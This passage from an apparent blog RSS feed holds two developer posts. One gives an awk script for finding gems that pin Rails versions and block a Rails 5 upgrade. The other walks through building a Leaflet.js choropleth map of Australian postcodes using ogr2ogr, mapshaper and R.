&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-awk"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Reads a Gemfile.lock and outputs all dependencies that depend on rails&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;BEGIN&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent_printed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;rails_gems&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"^(rail(s|ties)|action(mailer|pack|view)|active(job|model|record|support))$"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# We only want the specs from the GEM section&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;NR&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/GEM/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;exit&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Skip parent gems we don't care about (rails itself…)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/^ {4}[^ ]/&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="nx"&gt;rails_gems&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent_printed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;next&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Parent gems that aren't part of rails core&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Store the name to be printed if we match below&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/^ {4}[^ ]/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent_printed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;next&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# If the nested gem (6 space prefix) matches rails-names and we have a parent value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# set then we print them out - making sure to only print the parent once&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/^ {6}[^ ]/&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt; &lt;span class="nx"&gt;rails_gems&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;parent&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parent_printed&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;parent_printed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;print&lt;/span&gt; &lt;span class="nx"&gt;parent&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;print&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run it against your &lt;code&gt;Gemfile.lock&lt;/code&gt; for the app you&amp;rsquo;re upgrading:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;awk -f rails5.awk Gemfile.lock
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And you&amp;rsquo;ll get output like this, to run through and see if any of the dependencies are pinning to lower versions than you need.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; coffee-rails (4.0.1)
railties (&amp;gt;= 4.0.0, &amp;lt; 5.0)
factory_girl (4.4.0)
activesupport (&amp;gt;= 3.0.0)
factory_girl_rails (4.4.1)
railties (&amp;gt;= 3.0.0)
globalid (0.3.7)
activesupport (&amp;gt;= 4.1.0)
google-api-client (0.8.6)
activesupport (&amp;gt;= 3.2)
jquery-rails (3.1.4)
railties (&amp;gt;= 3.0, &amp;lt; 5.0)
jquery-ui-rails (5.0.5)
railties (&amp;gt;= 3.2.16)
rails-deprecated_sanitizer (1.0.3)
activesupport (&amp;gt;= 4.2.0.alpha)
rails-dom-testing (1.0.7)
activesupport (&amp;gt;= 4.2.0.beta, &amp;lt; 5.0)
rspec-rails (3.4.2)
actionpack (&amp;gt;= 3.0, &amp;lt; 4.3)
activesupport (&amp;gt;= 3.0, &amp;lt; 4.3)
railties (&amp;gt;= 3.0, &amp;lt; 4.3)
sass-rails (4.0.5)
railties (&amp;gt;= 4.0.0, &amp;lt; 5.0)
sprockets-rails (2.3.3)
actionpack (&amp;gt;= 3.0)
activesupport (&amp;gt;= 3.0)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, I&amp;rsquo;m trying to take this app to rails 5.0, so all the ones specifying &lt;code&gt;&amp;lt; 5&lt;/code&gt; and &lt;code&gt;&amp;lt; 4.3&lt;/code&gt; need upgrading beforehand.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Wed, 10 Aug 2016 14:39:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/find-dependencies-blocking-rails-upgrades/</guid></item><item><title>Map of Australia Using OpenStreetMaps, PSMA, R and Leaflet.js</title><link>https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/</link><description>&lt;p&gt;&lt;strong&gt;Aim:&lt;/strong&gt; To use GNAF (Geocoded National Address File) data to display the adminstrative boundaries (e.g. States) on top of Open Street Maps. Additionally, I want the user when hovering over a state to see summary statistics. I want an Australian version of &lt;a href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#leaflet.js"&gt;this&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="data"&gt;Data &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#data"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;G-NAF, is data containing all Australian addresses with geocoding, shape files for boundaries of states, electorates, municipals. It is the geocoding of a nation. And finally was released on &lt;a href="http://data.gov.au/"&gt;data.gov.au&lt;/a&gt; this year. &lt;a href="https://docs.google.com/viewer?url=http%3A%2F%2Fminus34.com%2Fopendata%2Fintro-to-gnaf.pptx&amp;amp;embedded=true&amp;amp;chrome=false&amp;amp;dov=1"&gt;Here's a nice GNAF data overview.&lt;/a&gt; N.B. One set of data that is missing from the release is the &lt;a href="https://www.psma.com.au/products/postcode-boundaries"&gt;postcode boundaries&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="state-boundaries"&gt;State Boundaries &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#state-boundaries"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;My initial geojson to get started was sourced from this &lt;a href="https://raw.githubusercontent.com/edwinsteele/d3-projects/master/data/au-states.geojson"&gt;github repo&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="postcode-boundaries"&gt;Postcode Boundaries &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#postcode-boundaries"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I obtained &lt;a href="http://www.abs.gov.au/AUSSTATS/abs@.nsf/DetailsPage/1270.0.55.003July%202011?OpenDocument"&gt;the shape file for Australian postcodes&lt;/a&gt; from the Australian Bureau of Statistics. I then converted the shapefile to geojson (helpful tutorial &lt;a href="http://ben.balter.com/2013/06/26/how-to-convert-shapefiles-to-geojson-for-use-on-github/"&gt;here&lt;/a&gt;):&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;&lt;span class="token comment"&gt;# Convert shp file to geojson&lt;/span&gt;&lt;br /&gt;$ ogr2ogr &lt;span class="token parameter variable"&gt;-f&lt;/span&gt; GeoJSON &lt;span class="token parameter variable"&gt;-t_srs&lt;/span&gt; crs:84 au-postcodes.geojson POA_2011_AUST.shp&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting geojson is a whooping 201.1mb. There are two more processes to consider. Firstly, simplification of the polygons to reduce the load on the browser. The most popular algorithm to use for this is the &lt;a href="https://en.wikipedia.org/wiki/Ramer%E2%80%93Douglas%E2%80%93Peucker_algorithm"&gt;Ramer–Douglas–Peucker algorithm&lt;/a&gt;. In R have a look at &lt;a href="http://www.inside-r.org/packages/cran/rgeos/docs/gSimplify"&gt;&lt;code&gt;gSimplify()&lt;/code&gt;&lt;/a&gt; however I am going to use the &lt;a href="https://github.com/mbloch/mapshaper"&gt;mapshaper command line tool&lt;/a&gt; as I prefer command line tools and mapshaper has a couple of implementations of Visvalingam's polygon simplification algorithm.&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;&lt;span class="token comment"&gt;# Install package&lt;/span&gt;&lt;br /&gt;$ &lt;span class="token function"&gt;npm&lt;/span&gt; &lt;span class="token function"&gt;install&lt;/span&gt; &lt;span class="token parameter variable"&gt;-g&lt;/span&gt; mapshaper&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Run Visvalingam simplification retaining 10% of polygons&lt;/span&gt;&lt;br /&gt;$ mapshaper &lt;span class="token parameter variable"&gt;-i&lt;/span&gt; au-postcodes.geojson &lt;span class="token parameter variable"&gt;-simplify&lt;/span&gt; &lt;span class="token number"&gt;10&lt;/span&gt;% &lt;span class="token parameter variable"&gt;-o&lt;/span&gt; au-postcodes-Visvalingam-0.1.geojson&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The size of the &lt;code&gt;au-postcodes-Visvalingam-0.1.geojson&lt;/code&gt; file is about 10% of the size of &lt;code&gt;au-postcodes.geojson&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Polygon Simplification" src="https://lukesingham.com/content/images/2017/08/polygon-simplification.gif" /&gt;&lt;/p&gt;
&lt;p&gt;Secondly, we may want to reduce the file size by 'minifying' or 'packing' the data by removing all spaces and new lines. This can be done using &lt;a href="https://github.com/igorti/geojson-minifier"&gt;geojson-minify&lt;/a&gt;. Packing the &lt;code&gt;au-postcodes.geojson&lt;/code&gt; file from above with the command below reduced the file size to 19.1mb.&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;$ &lt;span class="token function"&gt;npm&lt;/span&gt; &lt;span class="token function"&gt;install&lt;/span&gt; &lt;span class="token parameter variable"&gt;-g&lt;/span&gt; geojson-minifier&lt;br /&gt;$ geojson-minifier &lt;span class="token parameter variable"&gt;-o&lt;/span&gt; pack &lt;span class="token parameter variable"&gt;-f&lt;/span&gt; au-postcodes.geojson&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="maps"&gt;Maps &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#maps"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So &lt;code&gt;library(rgdal)&lt;/code&gt; seems pretty essential but if you're using a mac like I am, here you run into some pain. If you try running &lt;code&gt;install.packages('rgdal')&lt;/code&gt; it will exit with a status of 0. Installing the underlying &lt;code&gt;gdal&lt;/code&gt; dependency fixes the problem.&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;$ brew &lt;span class="token function"&gt;install&lt;/span&gt; gdal&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After installing gdal, &lt;code&gt;install.packages('rgdal')&lt;/code&gt; ran just fine.&lt;/p&gt;
&lt;h2 id="adding-data-to-the-shapefile"&gt;Adding Data to the Shapefile &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#adding-data-to-the-shapefile"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I used R for this process, &lt;code&gt;rgdal&lt;/code&gt; allows you to do joins on shape files so you can attribute data to the geographical areas.&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;library&lt;span class="token punctuation"&gt;(&lt;/span&gt;rgdal&lt;span class="token punctuation"&gt;)&lt;/span&gt;      &lt;span class="token comment"&gt;# Spatial data processing&lt;/span&gt;&lt;br /&gt;library&lt;span class="token punctuation"&gt;(&lt;/span&gt;jsonlite&lt;span class="token punctuation"&gt;)&lt;/span&gt;   &lt;span class="token comment"&gt;# Read json files&lt;/span&gt;&lt;br /&gt;library&lt;span class="token punctuation"&gt;(&lt;/span&gt;readr&lt;span class="token punctuation"&gt;)&lt;/span&gt;      &lt;span class="token comment"&gt;# Fast I/O&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Postcode shape json&lt;/span&gt;&lt;br /&gt;gdal.postcodes &lt;span class="token operator"&gt;&amp;lt;-&lt;/span&gt; readOGR&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"au-postcodes-Visvalingam-0.1-density.geojson"&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;"OGRGeoJSON"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Read data you want to join to the shape file&lt;/span&gt;&lt;br /&gt;df &lt;span class="token operator"&gt;&amp;lt;-&lt;/span&gt; read_csv&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"your_data.csv"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Change to character for leading 0s in NT postcodes&lt;/span&gt;&lt;br /&gt;df&lt;span class="token operator"&gt;$&lt;/span&gt;cleaned_postcode &lt;span class="token operator"&gt;&amp;lt;-&lt;/span&gt; sprintf&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"%04d"&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; df&lt;span class="token operator"&gt;$&lt;/span&gt;postcode&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Join agg values onto postcode (returns)&lt;/span&gt;&lt;br /&gt;gdal.postcodes&lt;span class="token operator"&gt;@&lt;/span&gt;data &lt;span class="token operator"&gt;&amp;lt;-&lt;/span&gt; sp&lt;span class="token operator"&gt;::&lt;/span&gt;merge&lt;span class="token punctuation"&gt;(&lt;/span&gt;gdal.postcodes&lt;span class="token operator"&gt;@&lt;/span&gt;data&lt;span class="token punctuation"&gt;,&lt;/span&gt; df &lt;span class="token punctuation"&gt;,&lt;/span&gt; by.x &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token string"&gt;"POA_NAME"&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; by.y &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token string"&gt;"cleaned_postcode"&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; all.x &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token boolean"&gt;TRUE&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Write to a new file&lt;/span&gt;&lt;br /&gt;writeOGR&lt;span class="token punctuation"&gt;(&lt;/span&gt;gdal.postcodes&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token string"&gt;'au-postcodes-Visvalingam-0.1-density.geojson'&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;span class="token string"&gt;'spDf'&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; driver &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token string"&gt;'GeoJSON'&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; check_exists &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token boolean"&gt;FALSE&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="leaflet.js"&gt;Leaflet.js &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#leaflet.js"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To display the information in a standalone single page app I started with this &lt;a href="http://leafletjs.com/examples/choropleth-example.html"&gt;leaflet choropleth example&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;There's a few things to customise to an Australian version:&lt;/p&gt;
&lt;h3 id="1.-getting-the-data-into-the-webpage"&gt;1. Getting the Data into the Webpage &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#1.-getting-the-data-into-the-webpage"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I modified the page to read &lt;code&gt;au-postcodes-Visvalingam-0.1-density.js&lt;/code&gt;. You can't just read a &lt;code&gt;.json&lt;/code&gt; file in the head of your page, for options on how to get data to load on your page see this &lt;a href="http://stackoverflow.com/a/13576588/3691003"&gt;helpful SO answer&lt;/a&gt;. I went with option two, I opened the &lt;code&gt;au-postcodes-Visvalingam-0.1-density.geosjson&lt;/code&gt; and inserted &lt;code&gt;var postcodesData =&lt;/code&gt; at the beginning of the data array and put a &lt;code&gt;;&lt;/code&gt; to end the variable declaration.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js"&gt;&lt;span class="token keyword"&gt;var&lt;/span&gt; postcodesData &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then save as &lt;code&gt;.js&lt;/code&gt;. Now you can read the &lt;code&gt;au-postcodes-Visvalingam-0.1-density.js&lt;/code&gt; file in the &lt;code&gt;head&lt;/code&gt; of your html.&lt;/p&gt;
&lt;pre class="language-html"&gt;&lt;code class="language-html"&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;head&lt;/span&gt;&lt;span class="token punctuation"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span class="token comment"&gt;&amp;lt;!-- load geojson data as "postcodeData" --&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class="token attr-name"&gt;src&lt;/span&gt;&lt;span class="token attr-value"&gt;&lt;span class="token punctuation attr-equals"&gt;=&lt;/span&gt;&lt;span class="token punctuation"&gt;"&lt;/span&gt;au-postcodes-Visvalingam-0.1-density.js&lt;span class="token punctuation"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="token script"&gt;&lt;/span&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class="token punctuation"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;&lt;span class="token tag"&gt;&lt;span class="token tag"&gt;&lt;span class="token punctuation"&gt;&amp;lt;/&lt;/span&gt;head&lt;/span&gt;&lt;span class="token punctuation"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the bottom of your page you will need to ensure the &lt;code&gt;postcodesData&lt;/code&gt; is referenced in the declaration of the &lt;code&gt;geojson&lt;/code&gt; variable. This is also when the leaflet functions defining style and hover events are pointed to the postcode shapes.&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js"&gt;&lt;span class="token comment"&gt;// add all options to the polygons&lt;/span&gt;&lt;br /&gt;geojson &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token constant"&gt;L&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;geoJson&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;postcodesData&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span class="token literal-property property"&gt;style&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; style&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;br /&gt; &lt;span class="token literal-property property"&gt;onEachFeature&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; onEachFeature&lt;br /&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;addTo&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;map&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="2.-setting-initial-location-and-zoom-on-page-load"&gt;2. Setting Initial Location and Zoom on Page Load &lt;a class="direct-link" href="https://lukesingham.com/map-of-australia-using-osm-psma-and-shiny/#2.-setting-initial-location-and-zoom-on-page-load"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To open on Australia instead of the US the key piece of code you need to set is the latitude and longitude coordinates along with the zoom level. This required a little bit of playing around to get the desired look. N.b I set the zoom level to 4 in the code below, don't try finely tuning with decimal places as tiles are only available for integers. I learnt the hard way!&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js"&gt;&lt;span class="token comment"&gt;// set up the map&lt;/span&gt;&lt;br /&gt;&lt;span class="token keyword"&gt;var&lt;/span&gt; map &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token constant"&gt;L&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;map&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;'map'&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token function"&gt;setView&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token operator"&gt;-&lt;/span&gt;&lt;span class="token number"&gt;27.833&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;133.583&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;4&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
